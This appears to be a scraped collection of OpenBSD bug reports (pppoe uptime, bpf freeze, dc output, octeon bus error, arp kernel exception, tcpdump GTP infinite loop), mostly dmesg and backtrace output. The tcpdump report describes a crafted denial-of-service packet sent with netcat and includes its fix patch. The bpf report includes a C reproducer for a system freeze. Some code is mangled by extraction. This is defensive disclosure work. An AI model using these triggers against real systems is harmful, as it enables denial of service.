FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 1 (application processor)
cpu2: Intel(R) Core(TM) i5-5287U CPU @ 2.90GHz, 2800.00 MHz, 06-3d-04
cpu2: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 1, core 0, package 0
cpu3 at mainbus0: apid 3 (application processor)
cpu3: Intel(R) Core(TM) i5-5287U CPU @ 2.90GHz, 2800.01 MHz, 06-3d-04
cpu3: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,PBE,SSE3,PCLMUL,DTES64,MWAIT,DS-CPL,VMX,EST,TM2,SSSE3,SDBG,FMA3,CX16,xTPR,PDCM,PCID,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,DEADLINE,AES,XSAVE,AVX,F16C,RDRAND,NXE,PAGE1GB,RDTSCP,LONG,LAHF,ABM,3DNOWP,PERF,ITSC,FSGSBASE,TSC_ADJUST,BMI1,AVX2,SMEP,BMI2,ERMS,INVPCID,RDSEED,ADX,SMAP,PT,SRBDS_CTRL,MD_CLEAR,IBRS,IBPB,STIBP,L1DF,SSBD,SENSOR,ARAT,XSAVEOPT,MELTDOWN
cpu3: 256KB 64b/line 8-way L2 cache

pppoe(4) should use uptime not microtime() for tracking connection time

[pjp]

>Synopsis:  session uptime is wrong
>Category:  system
>Environment:
System  : OpenBSD 7.0
Details : OpenBSD 7.0 (GENERIC.MP) #698: Thu Sep 30 21:07:33 MDT 
2021
 
dera...@octeon.openbsd.org:/usr/src/sys/arch/octeon/compile/GENERIC.MP

Architecture: OpenBSD.octeon
Machine : octeon
>Description:
On a router (octeon with no RTC) the uptime looks like so:

11:12AM  up 2 days, 15:56, 1 user, load averages: 0.01, 0.03, 0.01

The pppoe(4) interface however displays 51 days uptime for a session:


pppoe0: flags=8851 mtu 1500
description: Telekom
index 7 priority 0 llprio 3
dev: vlan7 state: session
sid: 0x3f2f PADI retries: 1 PADR retries: 0 time: 51d 08:03:55


I reason that my router rebooted (which it did two days ago) and
used microuptime() to fill the session time, and then NTP updated
the time and we have this timejump.  What should be done is the
uptime in seconds should be gotten and the ifconfig code that does
the ioctl(2) does the appropriate math.
>How-To-Repeat:
any pppoe0 router without RTC. Should see this behaviour on the very
first session.
>Fix:
explained in pseudo-words above.  No workable code provided.


dmesg:
OpenBSD 7.0 (GENERIC.MP) #698: Thu Sep 30 21:07:33 MDT 2021
dera...@octeon.openbsd.org:/usr/src/sys/arch/octeon/compile/GENERIC.MP
real mem = 536870912 (512MB)
avail mem = 521224192 (497MB)
random: good seed from bootblocks
mainbus0 at root: board 20004 rev 0.16, model CN3xxx/CN5xxx
cpu0 at mainbus0: CN50xx CPU rev 0.1 500 MHz, Software FP emulation
cpu0: cache L1-I 32KB 4 way D 16KB 64 way, L2 128KB 8 way
cpu1 at mainbus0: CN50xx CPU rev 0.1 500 MHz, Software FP emulation
cpu1: cache L1-I 32KB 4 way D 16KB 64 way, L2 128KB 8 way
clock0 at mainbus0: int 5
octcrypto0 at mainbus0
iobus0 at mainbus0
simplebus0 at iobus0: "soc"
octciu0 at simplebus0
octsmi0 at simplebus0
octpip0 at simplebus0
octgmx0 at octpip0 interface 0
cnmac0 at octgmx0: port 0 RGMII, address fc:ec:da:04:8d:68
atphy0 at cnmac0 phy 7: AR8035 10/100/1000 PHY, rev. 2
cnmac1 at octgmx0: port 1 RGMII, address fc:ec:da:04:8d:69
atphy1 at cnmac1 phy 6: AR8035 10/100/1000 PHY, rev. 2
cnmac2 at octgmx0: port 2 RGMII, address fc:ec:da:04:8d:6a
atphy2 at cnmac2 phy 5: AR8035 10/100/1000 PHY, rev. 2
com0 at simplebus0: ns16550a, 64 byte fifo
com0: console
dwctwo0 at iobus0 base 0x118006800 irq 56
usb0 at dwctwo0: USB revision 2.0
uhub0 at usb0 configuration 1 interface 0 "Octeon DWC2 root hub" rev 2.00/1.00 
addr 1
octrng0 at iobus0 base 0x14000 irq 0
umass0 at uhub0 port 1 configuration 1 interface 0 " UDinfo UF2 4GB" rev 
2.00/1.00 addr 2
umass0: using SCSI over Bulk-Only
scsibus0 at umass0: 2 targets, initiator 0
sd0 at scsibus0 targ 1 lun 0: <, UDinfo UF2 4GB, PMAP> removable 
serial.13fe420077C9177D2781
sd0: 3824MB, 512 bytes/sector, 7831552 sectors
vscsi0 at root
scsibus1 at vscsi0: 256 targets
softraid0 at root
scsibus2 at softraid0: 256 targets
root on sd0a (d5ffec0c72cad730.a) swap on sd0b dump on sd0b
WARNING: /mnt was not properly unmounted
WARNING: CHECK AND RESET THE DATE!

usbdevs:
Controller /dev/usb0:
addr 01: : Octeon, DWC2 root hub
 high speed, self powered, config 1, rev 1.00
 driver: uhub0
addr 02: 13fe:4200 , UDinfo UF2 4GB
 high speed, power 200 mA, config 1, rev 1.00, iSerial 070877C9177D2781
 driver: umass0

pcidump:

acpidump:

Opening and closing /dev/bpf rapidly freezes Raspberry Pi (bse0)

[pjp]

>Synopsis:  opening and closeing bpf rapidly causes problems
>Category:  system
>Environment:
System  : OpenBSD 7.0
Details : OpenBSD 7.0 (GENERIC.MP) #1332: Thu Sep 30 16:53:51 MDT 
2021
 
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
Trying to attack a switch on my own network caused my raspberry pi to
freeze (watchdog rebooted it).  Though after disabling watchdog it just froze.
Whether there is a panic I could not tell as I'm console-less and my dongle for
serial doesn't reach the wires to my Pi where it's currently located.  It'd be
a hardship.  Thankfully I can repeat the problem.  Other thankfulness is it
can only be done as root in a default system.
>How-To-Repeat:
The following program repeats this:

#include 
#include 
#include 
#include 

#include 
#include 

#include 

#include 
#include 
#include 
#include 
#include 

int open_filter(char *interface);

int
main(void)
{
int fd;

for (int i = 0; i < 1; i++) {
fd = open_filter("bse0");
if (fd < 0)
continue;
close(fd);
}

exit(0);
}




/* 
 * open the bpf devices and attach them to the corresponding interface that
 * is provided
 */

int
open_filter(char *interface)
{
struct ifreq ifr;
char buf[PATH_MAX];
int i = 0, fd;
u_int hdrcomplete, dltype;

do {
snprintf(buf, sizeof(buf), "/dev/bpf%d", i++);
fd = open(buf, O_RDWR, 0);
} while (fd < 0 && errno == EBUSY);

if (fd < 0) {
perror("open");
return -1;
}

/* set interface on bpf */
memset(, 0, sizeof(ifr));
strncpy(ifr.ifr_name, interface, sizeof(ifr.ifr_name) - 1);
if (ioctl(fd, BIOCSETIF, ) < 0) {
perror("ioctl 2");
close (fd);
return -1;
}
/* write complete frame headers */
hdrcomplete=1;
if (ioctl(fd, BIOCSHDRCMPLT, ) < 0) {
perror("ioctl 3");
return -1;
}
/* 
 * If we're not ethernet return with -1 as there is no point opening
 * bpf for a utility that is a ethernet spoofer
 */
if (ioctl(fd, BIOCGDLT, ) < 0) {
perror("ioctl 4");
return -1;
}
if (dltype == DLT_EN10MB) 
return (fd);

fprintf(stderr, "dltype != DLT_EN10MB, missing -l flag?\n");

errno = ENOSYS;
close (fd);
return -1;
}
>Fix:
None provided.  Unfortunately I don't have a DDB capable console.


dmesg:
OpenBSD 7.0 (GENERIC.MP) #1332: Thu Sep 30 16:53:51 MDT 2021
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8417255424 (8027MB)
avail mem = 8126160896 (7749MB)
random: good seed from bootblocks
mainbus0 at root: Raspberry Pi 4 Model B Rev 1.4
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 64b/line 16-way L2 cache
cpu2: CRC32,ASID16
cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu3: 1024KB 64b/line 16-way L2 cache
cpu3: CRC32,ASID16
efi0 at mainbus0: UEFI 2.7
efi0: https://github.com/pftf/RPi4 rev 0x1
smbios0 at efi0: SMBIOS 3.3.0
smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware v1.27" date 
05/25/2021
smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B
apm0 at mainbus0
"system" at mainbus0 not configured
"axi" at mainbus0 not configured
simplebus0 at mainbus0: "soc"
bcmclock0 at simplebus0
bcmmbox0 at simplebus0
bcmgpio0 at simplebus0
bcmaux0 at simplebus0
ampintc0 at simplebus0 nirq 256, ncpu 4 ipi: 0, 1: "interrupt-controller"
bcmtmon0 at simplebus0
bcmdmac0 at simplebus0: DMA0 DMA2 DMA4 DMA5 DMA6 DMA7 DMA8 DMA9
"timer" at simplebus0 not configured
pluart0 at simplebus0
com0 at simplebus0: ns16550, no working fifo
"local_intc" at simplebus0 not configured
bcmdog0 at simplebus0
bcmirng0 at simplebus0
"firmware" at simplebus0 not configured
"power" at simplebus0 not configured
"mailbox" at simplebus0 not configured
sdhc0 at simplebus0
sdhc0: SDHC 3.0, 250 MHz base clock
sdmmc0 at sdhc0: 4-bit, sd high-speed, mmc high-speed
"gpiomem" at simplebus0 not configured
"fb" at simplebus0 not configured
"vcsm" at simplebus0 not 

dc strips leading 0's in 2o output, is this wanted?

[pjp]

>Synopsis:  dc strips leading 0's in 2o (base 2 output)
>Category:  user
>Environment:
System  : OpenBSD 6.9
Details : OpenBSD 6.9 (GENERIC.MP) #473: Mon Apr 19 10:40:28 MDT 
2021
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
I'm proofing a program and I had a hard time with the following output:

12CBEE93BA7494A4A3F576A844CA2539 <---
00010010110010101110100100111011101001110100100101001010010010100011010101110110101011000100110010100010010100111001
pod$ dc
16i
2o
12CBEE93BA7494A4A3F576A844CA2539
p
1001011001010111010010011101110100111010010010100101001001010001\
1010101110110101011000100110010100010010100111001
12 p
10010

It seems that (3) leading 0's are stripped changing the value of 0x12.
Coincidentally 12 decimal would fit in the first 5 bits.  I don't
know if there is a mode I forgot to check, but debug was at first
a little slow due to this 'bug'.  Am i using it wrong?
>How-To-Repeat:
I'm using this ghetto function to produce the binary in code:

void 
print_binary(u32 input)
{
int64_t i;

for (i = 31;  i >= 0; i--) {
if((input >> i) & 0x0001U) printf("1");
else printf("0");
}

}

This isn't the first incarnation of the print_binary() so I apologize
for its format.  I tried hacking it to something I can work with.

>Fix:
Not provided, sorry, I did look at the source code but this seems
beyond me at first glance, and I'm not even sure if I'm using dc
right.


dmesg:
OpenBSD 6.9 (GENERIC.MP) #473: Mon Apr 19 10:40:28 MDT 2021
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 2080227328 (1983MB)
avail mem = 2001858560 (1909MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.8 @ 0xf5b10 (9 entries)
bios0: vendor Hetzner version "2017" date 11/11/2017
bios0: Hetzner vServer
acpi0 at bios0: ACPI 3.0
acpi0: sleep states S5
acpi0: tables DSDT FACP APIC HPET MCFG
acpi0: wakeup devices
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: AMD EPYC Processor (with IBPB), 2495.75 MHz, 17-01-02
cpu0: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,TOPEXT,FSGSBASE,BMI1,AVX2,SMEP,BMI2,RDSEED,ADX,SMAP,CLFLUSHOPT,SHA,IBPB,SSBD,XSAVEOPT,XSAVEC,XGETBV1
cpu0: 64KB 64b/line 4-way I-cache, 32KB 64b/line 8-way D-cache, 512KB 64b/line 
8-way L2 cache
cpu0: ITLB 255 4KB entries direct-mapped, 255 4MB entries direct-mapped
cpu0: DTLB 255 4KB entries direct-mapped, 255 4MB entries direct-mapped
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges
cpu0: apic clock running at 1000MHz
cpu1 at mainbus0: apid 1 (application processor)
cpu1: AMD EPYC Processor (with IBPB), 2495.41 MHz, 17-01-02
cpu1: 
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,x2APIC,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,HV,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,TOPEXT,FSGSBASE,BMI1,AVX2,SMEP,BMI2,RDSEED,ADX,SMAP,CLFLUSHOPT,SHA,IBPB,SSBD,XSAVEOPT,XSAVEC,XGETBV1
cpu1: 64KB 64b/line 4-way I-cache, 32KB 64b/line 8-way D-cache, 512KB 64b/line 
8-way L2 cache
cpu1: ITLB 255 4KB entries direct-mapped, 255 4MB entries direct-mapped
cpu1: DTLB 255 4KB entries direct-mapped, 255 4MB entries direct-mapped
cpu1: smt 0, core 0, package 1
ioapic0 at mainbus0: apid 0 pa 0xfec0, version 11, 24 pins
acpihpet0 at acpi0: 1 Hz
acpimcfg0 at acpi0
acpimcfg0: addr 0xb000, bus 0-255
acpiprt0 at acpi0: bus 0 (PCI0)
"ACPI0006" at acpi0 not configured
acpipci0 at acpi0 PCI0: 0x 0x0011 0x0001
acpicmos0 at acpi0
"APP0005" at acpi0 not configured
"PNP0A06" at acpi0 not configured
"PNP0A06" at acpi0 not configured
"QEMU0002" at acpi0 not configured
"ACPI0010" at acpi0 not configured
acpicpu0 at acpi0: C1(@1 halt!)
acpicpu1 at acpi0: C1(@1 halt!)
pvbus0 at mainbus0: KVM
pvclock0 at pvbus0
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel 82G33 Host" rev 0x00
vga1 at pci0 dev 1 function 0 "Qumranet Virtio 1.x GPU" rev 0x01
wsdisplay0 at vga1 mux 1: console (80x25, vt100 emulation)
wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
ppb0 at pci0 dev 2 function 0 vendor "Red Hat", unknown product 0x000c rev 
0x00: apic 0 int 22
pci1 at ppb0 bus 1
virtio0 at pci1 dev 0 function 0 "Qumranet Virtio 1.x Network" rev 0x01

bus error on octeon

[pjp]

>Synopsis:  Encountered bus error on tcpdumping a cycled interface
>Category:  system
>Environment:
System  : OpenBSD 6.9
Details : OpenBSD 6.9 (GENERIC.MP) #551: Sun Apr 18 03:06:59 MDT 
2021
 
dera...@octeon.openbsd.org:/usr/src/sys/arch/octeon/compile/GENERIC.MP

Architecture: OpenBSD.octeon
Machine : octeon
>Description:
I cycled a vlan (vlan6) interface to down and then back to up with ifconfig to
see if there is traffic flowing I tried tcpdumping and encountered a SIGBUS.
Here is what I see:

eta# tcpdump -v -n -i vlan6 
tcpdump: listening on vlan6, link-type EN10MB
Bus error 
eta# ifconfig vlan6 
vlan6: flags=8843 mtu 1500
lladdr fc:ec:da:04:8d:69
description: RPI Freifunk Franken VLAN
index 11 priority 0 llprio 3
encap: vnetid 6 parent cnmac1 txprio packet rxprio outer
groups: vlan
media: Ethernet autoselect (1000baseT full-duplex)
status: active
inet 192.168.36.1 netmask 0xff00 broadcast 192.168.36.255

A particular ktrace/kdump revealed this:

 47271 tcpdump  RET   fstat 0
 47271 tcpdump  CALL  
mmap(0,0x1,0x3,0x1002,-1,0)
 47271 tcpdump  RET   mmap 252174057472/0x3ab6bec000
 47271 tcpdump  CALL  fcntl(1,F_ISATTY)
 47271 tcpdump  RET   fcntl 1
 47271 tcpdump  PSIG  SIGBUS SIG_DFL code BUS_ADRALN<1> addr=0x39f0f3c04c 
trapno=0

I assume the fcntl(... could be an isatty(3).
>How-To-Repeat:
No idea, I only upgraded this router today and added some networking 
including wireguard tunnels.
>Fix:
Not provided.  There is mention in comments at:

/usr/src/sys/arch/mips64/mips64/trap.c under BUS_ADRALN that this may be an
unaligned memory access.


dmesg:
OpenBSD 6.9 (GENERIC.MP) #551: Sun Apr 18 03:06:59 MDT 2021
dera...@octeon.openbsd.org:/usr/src/sys/arch/octeon/compile/GENERIC.MP
real mem = 536870912 (512MB)
avail mem = 521322496 (497MB)
random: good seed from bootblocks
mainbus0 at root: board 20004 rev 0.16, model CN3xxx/CN5xxx
cpu0 at mainbus0: CN50xx CPU rev 0.1 500 MHz, Software FP emulation
cpu0: cache L1-I 32KB 4 way D 16KB 64 way, L2 128KB 8 way
cpu1 at mainbus0: CN50xx CPU rev 0.1 500 MHz, Software FP emulation
cpu1: cache L1-I 32KB 4 way D 16KB 64 way, L2 128KB 8 way
clock0 at mainbus0: int 5
octcrypto0 at mainbus0
iobus0 at mainbus0
simplebus0 at iobus0: "soc"
octciu0 at simplebus0
octsmi0 at simplebus0
octpip0 at simplebus0
octgmx0 at octpip0 interface 0
cnmac0 at octgmx0: port 0 RGMII, address fc:ec:da:04:8d:68
atphy0 at cnmac0 phy 7: AR8035 10/100/1000 PHY, rev. 2
cnmac1 at octgmx0: port 1 RGMII, address fc:ec:da:04:8d:69
atphy1 at cnmac1 phy 6: AR8035 10/100/1000 PHY, rev. 2
cnmac2 at octgmx0: port 2 RGMII, address fc:ec:da:04:8d:6a
atphy2 at cnmac2 phy 5: AR8035 10/100/1000 PHY, rev. 2
com0 at simplebus0: ns16550a, 64 byte fifo
com0: console
dwctwo0 at iobus0 base 0x118006800 irq 56
usb0 at dwctwo0: USB revision 2.0
uhub0 at usb0 configuration 1 interface 0 "Octeon DWC2 root hub" rev 2.00/1.00 
addr 1
octrng0 at iobus0 base 0x14000 irq 0
umass0 at uhub0 port 1 configuration 1 interface 0 " UDinfo UF2 4GB" rev 
2.00/1.00 addr 2
umass0: using SCSI over Bulk-Only
scsibus0 at umass0: 2 targets, initiator 0
sd0 at scsibus0 targ 1 lun 0: <, UDinfo UF2 4GB, PMAP> removable 
serial.13fe420077C9177D2781
sd0: 3824MB, 512 bytes/sector, 7831552 sectors
vscsi0 at root
scsibus1 at vscsi0: 256 targets
softraid0 at root
scsibus2 at softraid0: 256 targets
root on sd0a (d5ffec0c72cad730.a) swap on sd0b dump on sd0b
WARNING: CHECK AND RESET THE DATE!

usbdevs:
Controller /dev/usb0:
addr 01: : Octeon, DWC2 root hub
 high speed, self powered, config 1, rev 1.00
 driver: uhub0
addr 02: 13fe:4200 , UDinfo UF2 4GB
 high speed, power 200 mA, config 1, rev 1.00, iSerial 070877C9177D2781
 driver: umass0

pcidump:

acpidump:

kernel does not panic, but exepts upon setting of static arp

[pjp]

>Synopsis:  exception upon setting of static arp
>Category:  net
>Environment:
System  : OpenBSD 6.8
Details : octeon system

Architecture: OpenBSD.octeon
Machine : octeon
>Description:
My octeon gateway dropped to debugger upon me doing the following 
commands:
# arp -d  && arp -s  

## upon trying to reenter the system I pinged it, ping was successful
## upon trying to SSH to it, it dropped to debugger
Here is the backtrace:

Script started on Fri Nov 13 08:45:27 2020
saturn# cu -l /dev/cuaU0 -s 115200
Connected to /dev/cuaU0 (speed 115200)
bt
sounlock+0x40 (980006fcd478,42,f119533a7d913dff,b08e1fcc6feb3899)  ra 0xfff
f8118824c sp 0x980414b7f760, sz 16
route_input+0xc4 (980006fcd478,42,f119533a7d913dff,b08e1fcc6feb3899)  ra 0x
8118a898 sp 0x980414b7f770, sz 112
rtm_send+0x160 (980006fcd478,42,f119533a7d913dff,b08e1fcc6feb3899)  ra 0xff
ff812ef3e8 sp 0x980414b7f7e0, sz 320
rt_clone+0xd8 (980006fcd478,42,f119533a7d913dff,2a5fb6af63d062b0)  ra 0xfff
f812f0800 sp 0x980414b7f920, sz 224
rtalloc_mpath+0x70 (980006fcd478,42,f119533a7d913dff,20dd1db1cc01c584)  ra 0
x8150a260 sp 0x980414b7fa00, sz 48
ip_output+0x4d0 (980001e20c00,42,f119533a7d913dff,20dd1db1cc01c584)  ra 0xf
fff811d1910 sp 0x980414b7fa30, sz 272
tcp_output+0x1940 (980001e20c00,8699b731c5e3da58,f119533a7d913dff,20dd1db1c
c01c584)  ra 0x81534154 sp 0x980414b7fb40, sz 464
tcp_usrreq+0x3e4 (980001e20c00,8699b731c5e3da58,f119533a7d913dff,20dd1db1cc
01c584)  ra 0x811c7390 sp 0x980414b7fd10, sz 112
sosend+0x3f8 (980001e20c00,0,f119533a7d913dff,980001e20c00)  ra 0xf
fff8107bbd0 sp 0x980414b7fd80, sz 144
soo_write+0x58 (980001e20c00,0,f119533a7d913dff,bde35121744cd20d)  ra 0xfff
f8135a748 sp 0x980414b7fe10, sz 16
dofilewritev+0x120 (980001e20c00,0,f119533a7d913dff,bde35121744cd20d)  ra 0
x8135a5e4 sp 0x980414b7fe20, sz 96
sys_write+0x64 (980001e20c00,0,f119533a7d913dff,27780871704f566a)  ra 0xfff
f811b1368 sp 0x980414b7fe80, sz 80
itsa+0xb98 (980001e20c00,0,f119533a7d913dff,27780871704f566a)  ra 0xfff
f811b074c sp 0x980414b7fed0, sz 192
trap+0x1ec (980001e20c00,bca2719f3d7995a3,f119533a7d913dff,27780871704f566a
)  ra 0x81030b78 sp 0x980414b7ff90, sz 64
u_general+0xf0 (980001e20c00,bca2719f3d7995a3,f119533a7d913dff,f7539ff78)  r
a 0x0 sp 0x980414b7ffd0, sz 0
User-level: pid 10665
ddb{1}> ps
   PID TID   PPIDUID  S   FLAGS  WAIT  COMMAND
 68517  489182  67224  0  30x10008b  pause ksh
 67224  495738  10665   1000  30x10008b  pause ksh
*10665  307869  16803   1000  70x10sshd
 16803   30456   6948  0  30x92  poll  sshd
 69062   73552 90542  30x90  poll  flowd
90   83102  1  0  30x80  netio flowd
 19113  258942  1 77  30x100090  poll  dhcpd
 79918  495546  1 77  30x100090  poll  dhcpd
 26451  194718  1 77  30x100090  poll  dhcpd
 92777   42453  1 77  30x100090  poll  dhcpd
 61387  345486  18486   1001  30x100090  selectdelphinusdnsd
 42996  479303  93584   1001  30x100090  selectdelphinusdnsd
 32782  136885  94814   1001  30x100090  selectdelphinusdnsd
 93584  493321  94814   1001  30x100090  selectdelphinusdnsd
 18486  425407  94814   1001  30x100090  selectdelphinusdnsd
 19751   34197  94814   1001  30x100090  netcon2   delphinusdnsd
 80557  394736  94814   1001  30x100090  selectdelphinusdnsd
 98780  109183  94814   1001  30x100090  selectdelphinusdnsd
 71980  115025  94814  0  30x100080  selectdelphinusdnsd
 18419  420961  94814   1001  30x100090  selectdelphinusdnsd
 94814   51946  1   1001  30x100090  selectdelphinusdnsd
-85474ore58470  1  0  30x100083  ttyin getty
 12566  374189  1  0  30x100098  poll  cron
 58807  451496  1 99  30x100090  poll  sndiod
 31096   96727  1110  30x100090  poll  sndiod
 91181  374822  51987 95  30x100092  kqreadsmtpd
 97516  211528  51987103  30x100092  kqreadsmtpd
 93354  414250  51987 95  30x100092  kqreadsmtpd
 18052   60449  51987 95  30x100092  kqreadsmtpd
 71239   23721  51987 95  30x100092  kqreadsmtpd
 90717  481658  51987 95  30x100092  kqreadsmtpd
 51987  191163  1  0  30x100080  kqreadsmtpd
  6948  212959  1  0  30x80  selectsshd
 47947  336482  1  0  30x100080  poll  ntpd
  51833079  26481 83  3

endless loop in tcpdump

[pjp]

>Synopsis:  a specially crafted packet can set tcpdump into an endless loop
>Category:  system
>Environment:
System  : OpenBSD 6.8
Details : OpenBSD 6.8 (GENERIC.MP) #98: Sun Oct  4 18:13:26 MDT 2020
 
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Architecture: OpenBSD.amd64
Machine : amd64
>Description:
I was (un)fortunate enough to have this treat of a bug from a cracker
on the 'net.  Thanks!  They sent me an infinite loop in tcpdump.  I bug hunted
and shared my findings on the misc@ mailing list.  I wasn't sure becuase I'm
not the best code reader so I crafted a DOS to exploit this infinite loop.
I have mailed OpenBSD off-lists with this proof of concept code.
>How-To-Repeat:
before patch:

tcpdump -v -n -i lo0 port 

10:30:54.667969 127.0.0.1.2123 > 127.0.0.1.: [udp sum ok]  GTPv1-C (teid 0, 
len 0) [MBMS Support] [MBMS Support] [MBMS Support] [MBMS Support] [MBMS 
Support] [MBMS Support] [MBMS Support] [MBMS Support] [MBMS Support] [MBMS 
Support] [MBMS Support] [MBMS Support] ...
2 packets received by filter
0 packets dropped by kernel

This was triggered with netcat:

nc -up 2123 localhost  < dos.packet

>Fix:
after patch:

tcpdump.p: listening on lo0, link-type LOOP
10:43:41.005389 127.0.0.1.2123 > 127.0.0.1.: [udp sum ok]  GTPv1-C (teid 0, 
len 0) [|GTPv1-C] (ttl 64, id 58060, len 41)
^C
2 packets received by filter
0 packets dropped by kernel
spica# tcpdump.p -v -n -i lo0 -Xp-sp1500pport8
tcpdump.p: listening on lo0, link-type LOOP
10:44:11.956464 127.0.0.1.2123 > 127.0.0.1.: [udp sum ok]  GTPv1-C (teid 0, 
len 0) [|GTPv1-C] (ttl 64, id 18693, len 41)
  : 4500 0029 4905  4011 33bd 7f00 0001  E..)I...@.3.
  0010: 7f00 0001 084b 22b8 0015 a2bd 3400   .K".4...
  0020:    0001 00   .

^C
2 packets received by filter
0 packets dropped by kernel

The patch looks like follows:

Index: print-gtp.c
===
RCS file: /cvs/src/usr.sbin/tcpdump/print-gtp.c,v
retrieving revision 1.12
diff -u -p -u -r1.12 print-gtp.c
--- print-gtp.c 20 May 2020 01:20:37 -  1.12
+++ print-gtp.c 24 Oct 2020 08:56:00 -
@@ -927,6 +927,8 @@ gtp_v1_print(const u_char *cp, u_int len
 
/* Header length is a 4 octet multiplier. */
hlen = (int)p[0] * 4;
+   if (hlen == 0)
+   goto trunc;
TCHECK2(p[0], hlen);
 
switch (nexthdr) {



dmesg:
OpenBSD 6.8 (GENERIC.MP) #98: Sun Oct  4 18:13:26 MDT 2020
dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP
real mem = 17059287040 (16269MB)
avail mem = 16527237120 (15761MB)
random: good seed from bootblocks
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.7 @ 0x8afac000 (32 entries)
bios0: vendor Apple Inc. version "186.0.0.0.0" date 06/14/2019
bios0: Apple Inc. MacBookPro12,1
acpi0 at bios0: ACPI 5.0
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP HPET APIC SBST ECDT SSDT SSDT SSDT SSDT SSDT SSDT SSDT 
SSDT DMAR MCFG
